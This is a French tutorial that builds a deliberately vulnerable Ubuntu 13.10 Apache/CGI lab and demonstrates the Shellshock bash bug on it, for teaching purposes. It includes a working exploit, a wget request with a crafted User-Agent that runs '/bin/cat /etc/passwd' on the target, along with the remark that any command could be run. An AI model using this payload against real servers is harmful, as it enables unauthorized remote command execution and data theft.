Imprimer

Shell shock

Shell shock est un bogue dans le shell bash qui a été présent depuis 25 ans et à été rendu publique en septembre 2014.  Bien sûr, maintenant la plupart des systèmes utilisant ce shell ont êté mis à jour mais il faut se rendre compte que c'est seulement une erreur parmi les nombreuses vulnérabilités qui se trouvent dans un système informatique moderne.  Il est vrai que le bogue shell shock est spectaculaire, car il a été si longtemps présent dans un logiciel très utilisé et open source, et qu'il est tellement exploitable.

Je propose d'illustrer cette vulnérabilité en mettant en route un serveur web sur une plate-forme très standard et de montrer à quel point c'est facile à exploiter.  La partie la plus difficile ne sera pas de l'exploiter, mais de mettre en route le serveur web !

Il faudra une certaine familiarité avec l'environnement shell de UNIX, et la partie la plus dure est peut-être de maitriser l'éditeur standard  vi (ou sa variante moderne vim).  Heureusement, dans la plupart des cas, on peut maintenant aussi utiliser le programme 'nano' qui est beaucoup plus facile à manier.  C'est le cas pour Ubuntu 13.10 server edition que nous allons mettre en place.

Un ancien serveur Ubuntu dans une machine virtuelle comme victime.

L'idée est d'installer une ancienne version de Ubuntu server edition dans une machine virtuelle.  Je propose d'utiliser VirtualBox qui peut être installé sur différents systèmes hôte (windows, apple, ou linux ...).

Téléchargez the 13.10 server version de Ubuntu. Vous pouvez aussi télécharger la version "desktop" mais c'est beaucoup plus lourd, est plus complexe à installer et cela ne nous servira à rien.  Il faut créer une nouvelle machine virtuelle dans VirtualBox, et y installer le système Ubuntu que vous venez de télécharger.  4 GB suffiront comme disque virtuel et 600 MB de RAM seront largement suffisant pour le serveur.  Nous proposons la version 13.10 car c'est la version la plus récente qui n'avais plus de support quand Shell Shock était divulgué, donc ce n'a pas été corrigé sur cette distribution (la version 13.10 n'avait que 9 mois de support, car c'est une version intermédiaire ; elle était succédé par la version 14.4 LTS qui, elle, a 5 ans de support).  Pendant l'installation, il faut indiquer que nous allons utiliser le serveur web (afin d'en installer l'essentiel des composantes).

Je vous ai proposé d'utiliser la version 32 bits du serveur, mais sans doute, cela fonctionne aussi avec la version 64 bit.  Quand vous créez votre nouvelle machine virtuelle, indiquez un système ubuntu 32 bit, laissez tout par défault (sauf que vous pouvez diminuer la taille du disque virtuel jusqu'à 4 GB si vous voulez).  Quand la machine vide est prête, démarrez-la et pointez vers le fichier .iso du disque installateur du serveur que vous avez téléchargé.

Choisissez la langue par défaut, et l'installation par défaut.  Choisissez la langue par défaut pour l'installation, la région et choisissez votre clavier.

Donnez un nom à votre machine: nous proposons ubuntu-13-10-serv

Proposez un utilisateur ; nous proposons entropx et nous prenons le même nom pour le nom complet.

Choisissez un mot de passe.  Nous proposons chaos1 (vous pouvez confirmer un mot de passe faible, cela importe peu)

Ne chiffrez pas le disque.

Pour la partition, prenez "use entire disk" (sans LVM)

Sélectionnez "write changes to disk"

Selon le cas, entrez l'information proxy, mais l'accès réseau n'est pas nécessaire pendant l'installation.

Sélectionnez "pas de mises à jour automatiques".  Ceci est très important, car nous voulons préserver le shell Bash avec son bogue.

Ensuite, vous pouvez sélectionner ce que vous voulez comme serveur, mais LAMP server nous suffit.  Pour des jeux supplémentaires, vous pouvez aussi caser les 5 premières options (DNS, mail...).

Prenez chaos1 comme mot de passe de la base de données et sélectionnez "no configuration" pour le serveur mail si vous l'installez.

Dites oui pour le "grub boot loader".

La machine devrait redémarrer et l'installation est prête.  Une fois la machine installée et redémarrée, vous pouvez vous connecter avec le nom d'utilisateur (entropx) et le mot de passe (chaos1) que vous avez spécifié pendant l'installation.

Quand vous voulez arrêter la machine, choisissez "power off" et surtout pas "save state" du menu de la machine virtuelle.

Configuration du serveur web.

Il y a un problème en utilisant une version de serveur qui n'est plus supporté: c'est que les dépôts standard de logiciel pour cette version ne sont plus disponibles et ont été migrés et le système qui cherchera dans le lieu normale ne va plus retrouver ces dépôts.  Il faut donc changer la configuration de l'endroit où se trouvent ces dépôts:

Faites donc:

sudo nano /etc/apt/sources.list

pour éditer le fichier qui contient les chemins des dépôts.  Il faut changer partout où vous voyez "us.archive" en "old-releases" dans les URL des serveurs.

Ensuite, il faut mettre à jour le cache des logiciels disponibles.  Pour cela, il faut que la connexion internet fonctionne:

sudo apt-get update

Normalement, apache2 est déjà installé (vous l'avez spécifié pendant l'installation).  Mais il faut ajouter le support cgi:

sudo apt-get install libapache2-mod-perl2

Ensuite il faut configurer le serveur apache.  La première chose à faire est d'ajouter une ligne dans le fichier:

sudo nano /etc/apache2/apache2.conf

Il faut ajouter:

ServerName localhost

à ce fichier.

Ensuite il faut éditer le fichier suivant:

sudo nano /etc/apache2/sites-available/000-default.conf

et il faut ajouter ce qui suit entre les deux tags <VirtualHost> :

ScriptAlias /cgi-bin/ /var/www/cgi/
<Directory "/var/www/cgi/">
Options +ExecCGI
AddHandler cgi-script cgi pl sh
</Directory>

Il faut aussi décommenter la ligne qui commence par "include conf-available..." vers la fin du fichier.

Il faut créer un dossier sous /var/www qui va contenir les scripts cgi:

cd /var/www
sudo mkdir cgi

Il faudra créer un script Bash dans ce dossier:

cd /var/www/cgi
sudo nano mybash.sh

On peut mettre ceci dans ce fichier:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "This is a test!"

Il faut ensuite activer le serveur cgi:

sudo a2enmod cgi
sudo service apache2 restart

Voila.  Notre serveur est en route, et prêt à être attaqué !

On va illustrer l'attaque d'abord sur la machine même (ce qui peut paraître idiot, mais c'est pédagogique).

L'attaque locale

Nous tapons la commande:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http:localhost/cgi-bin/mybash.sh

La commande wget écrit dans un fichier local ce qu'il à pris d'un serveur web.  Ici, le serveur est adressé comme localhost, et normalement on lui demande d'exécuter le script mybash.sh (c'est la fonction voulue par celui qui a mis en place le serveur).  Si tout fonctionne bien, wget doit récupérer ce que le script mybash.sh produit comme sortie, à savoir une chaine avec "This is a test !" en format texte et non en format HTML ce qui pourrait être logique, car nous avons instruits dans le script "Content-type: text/plain" ce qui est compris par le serveur apache.

Mais notre commande wget envoie aussi une variable environnement (ici, avec l'option -U, la variable "user-agent") mais formaté comme si c'était une fonction, et le bogue shell shock va l'exécuter au lieu de la passer au script.  Ce qui sera rapporté sera donc la sortie de la fonction, à savoir le listing du fichier /etc/passwd en exécutant:

/bin/cat /etc/passwd

sur le serveur.

L'attaque par réseau.

Bien sûr, faire cela sur la machine même n'a pas beaucoup de sens: nous pouvions déjà taper "/bin/cat /etc/passwd" sur la machine !  Mais si nous activons notre serveur sur réseau, nous allons pouvoir faire la même chose de l'autre coté du monde.

Il faut changer la configuration réseau de la machine virtuelle.  Par défaut, elle est NAT, mais cela ne supporte pas un serveur.  Il faut changer cela en "bridged".  Après redémarrage de la machine, notre machine virtuelle apparaîtra en tant que machine entière sur le réseau local.  Il se peut qu'il faut taper les commandes suivantes:

sudo ip link set dev eth0 down
sudo dhclient eth0

pour configurer la carte réseau virtuelle eth0 et d'activer la mise en place de la configuration par dhcp (en espérant que le réseau locale ait un serveur dhcp qui veut bien répondre à la requête de notre machine).

Si cela fonctionne, on peut taper:

ifconfig

et nous trouvons l'information de l'interface réseau de notre machine virtuelle dont l'adresse IP locale assignée par le réseau local à notre machine.  Par exemple, dans mon cas, c'est 192.168.0.34.Maintenant sur n'importe quelle machine linux sur votre réseau local qui a la commande wget, vous pouvez taper:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http:192.168.0.34/cgi-bin/mybash.sh

(où il faut remplacer 192.168.0.34 par le numéro IP de votre machine virtuelle), et vous allez télécharger le fichier /etc/passwd dans un fichier local.  Si votre serveur est visible sur l'internet extérieur, vous pouvez faire la même chose depuis une machine à Shanghai.  Pour un serveur web, il est assez normal d'être visible à partir de l'internet entier.

Si vous n'avez pas d'autre machine linux sur votre réseau local, il suffit d'installer un autre serveur linux ubuntu dans une machine virtuelle sur une autre machine physique de votre réseau, et d'exécuter la commande dans ce serveur.

La partie la plus importante est de se rendre compte que nous avons exécuté une commande quelconque sur le serveur victime.  La commande dans notre exemple était:

/bin/cat  /etc/passwd

mais on aurait pu exécuter n'importe quelle commande shell.  Des commandes bien plus méchantes, et nous aurions récupéré la sortie de cette commande sur notre machine d'attaque comme un fichier texte.

Avant de devenir enthousiaste, et d'essayer cela sur n'importe quel serveur web de votre choix, sachez que si vous le faites, il y ait toutes les chances que votre attaque, si bénigne qu'elle soit, sera sans doute remarquée et enregistrée.  Ne soyez alors pas surpris d'avoir peut-être une visite des autorités, car vous serez très traçable...

Conclusion

Pour que cette attaque réussisse, il faut:

  1. une machine linux vulnérable (ils l'étaient toutes pendant 25 années entre 1989 et 2014)
  2. un serveur web comme apache, avec cgi en route
  3. un script bash shell à exécuter par cgi (c'est devenu relativement rare, c'est plutôt perl qu'on utilise)

Comma attaquant, il faut connaître l'adresse IP du serveur vulnérable et le nom du script bash.  L'attaquant doit aussi savoir que son attaque sera enregistrée et qu'il est parfaitement traçable.  Peut-être qu'il s'en moque.

Bien sûr, maintenant que la vulnérabilité est connue publiquement, le code bash a été mis à jour, et l'attaque a perdu l'essentiel de son pouvoir.  Mais pendant 25 ans, c'était parfaitement possible.  Peut-être que personne ne le savait.  Peut-être que quelques-uns le savaient...